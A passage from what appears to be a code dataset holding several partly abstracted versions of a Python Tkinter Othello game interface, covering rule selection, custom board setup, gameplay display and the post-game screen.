self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n 